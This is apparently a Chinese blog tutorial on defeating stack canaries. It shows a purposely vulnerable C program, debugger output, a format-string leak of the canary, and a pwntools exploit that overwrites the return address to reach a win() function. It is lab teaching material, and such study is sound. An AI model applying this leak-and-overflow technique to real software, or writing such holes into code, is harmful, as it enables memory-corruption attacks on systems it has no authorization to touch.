stack canary泄露方法
什么是canary
security cookies,Assume that at the beginning of a function call (e.g. during its prologue) we are saving a value in the function’s stack frame, we would expect (! if everything went well !) to read the same value just before the function exits or namely at its epilogue. If the value has changed, then the execution of the program will be terminated and an error message will be displayed. [1] Obviously, this protection mechanism is added by the compiler during the compilation process. For the GNU Compiler Collection (gcc), it is implemented via the StackGuard extension which was added to gcc 2.7.2.2 [1] Bypass stack canary
漏洞程序 vuln.c
// gcc -m32 vuln.c -no-pie -z execstack -o vuln
#include <stdio.h>
void vuln() {
char buffer[64];
puts("Leak me");
gets(buffer);
printf(buffer);
puts("");
puts("Overflow me");
gets(buffer);
}
int main() {
vuln();
}
void win() {
puts("You won!");
}
漏洞分析
- canary保护开启
─$ checksec --file=./vuln
[*] '/home/kali/exploits/canary/vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- stack smashing
─$ ./vuln-32
Leak me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
*** stack smashing detected ***: terminated
- 绕过canary方案
- 爆破canary值
- 利用printf泄露canary 本篇采用方案2.
- 反编译vuln
[0x080491d7]> pdd
/* r2dec pseudo code output */
/* /home/kali/exploits/canary/vuln-32 @ 0x80491d7 */
#include <stdint.h>
int32_t vuln (void) {
int32_t var_4ch;
int32_t var_ch;
int32_t var_4h;
_x86_get_pc_thunk_bx (ebx);
ebx += 0x2e62;
eax = *(gs:0x14);
var_ch = *(gs:0x14); // 从gs:0x14取canary,存放在栈上
eax = 0;
puts (ebx - 0x1ff8);
gets (var_4ch);
printf (var_4ch);
puts (ebx - 0x1ff0);
puts (ebx - 0x1fef);
gets (var_4ch);
eax = var_ch; //从栈上取canary
eax -= *(gs:0x14);
if (eax != 0) {
stack_chk_fail_local ();
}
ebx = var_4h;
return eax;
}
从反编译vuln函数看,canary存在栈地址ebp - 0xc处。
-
vuln函数栈地址空间
栈偏移 栈内容 ebp-0x16 buffer ebp-0xc canary ebp+0x00 ebp ebp+0x04 返回地址 -
利用printf读canary
canary偏移
// printf下断点,查看buffer的偏移
[0x08049192]> db 0x080491d7
[0x08049192]> dc
Leak me
AAAABBBBCCCC
hit breakpoint at: 0x80491d7
// 查看 ebp-0xc距离栈顶esp的偏移offset == 23个dword
[0x080491d7]> ?v ebp-0xc
0xffffd44c
[0x080491d7]> pxw @ esp
0xffffd3f0 0xffffd40c 0x00000001 0xf7ffda40 0x0804919e ........@.......
0xffffd400 0xffffffff 0xf7fc9694 0xf7ffd608 0x41414141 ............AAAA
0xffffd410 0x42424242 0x43434343 0x00000000 0xffffdfee BBBBCCCC........
0xffffd420 0xf7fc7550 0x00000000 0xf7c1ca2f 0xf7e1d048 Pu....../...H...
0xffffd430 0xf7fc14a0 0xf7fd98cb 0xf7c1ca2f 0xf7fc14a0 ......../.......
0xffffd440 0xffffd480 0xf7fc1678 0xf7fc1b40 0x42026a00 ....x...@....j.B
- 尝试读取canary
┌──(kali㉿kali)-[~/exploits/canary]
└─$ ./vuln
Leak me
aaaa|%23$p
aaaa|0xfa3b7a00
Overflow me
┌──(kali㉿kali)-[~/exploits/canary]
└─$ ./vuln
Leak me
aaaa|%23$p
aaaa|0xa7570900
Overflow me
┌──(kali㉿kali)-[~/exploits/canary]
└─$ ./vuln
Leak me
aaaa|%23$p
aaaa|0x17ced000
Overflow mecanary的值每次调用时候都不同,但最后一个自己为0.
编写利用程序
┌──(kali㉿kali)-[~/exploits/canary]
└─$ readelf -s ./vuln| grep win
60: 08049245 43 FUNC GLOBAL DEFAULT 13 win
from pwn import *
p = process('./vuln')
p.clean()
payload = b'%23$p'
p.sendline(payload)
canary = int(p.recvline(),16)
log.info(f'leak canary : {hex(canary)}')
payload = b'A' * 64
payload += p32(canary)
payload += b'A' * 12
payload += p32(0x08049245)
p.sendline(payload)
log.info(p.clean())┌──(kali㉿kali)-[~/exploits/canary]
└─$ python canary_bypass.py
[+] Starting local process './vuln-32': pid 1704736
[*] leak canary : 0x30083700
[*] Overflow me
You won!
[*] Stopped process './vuln-32' (pid 1704736)
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_17_stack_canary/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。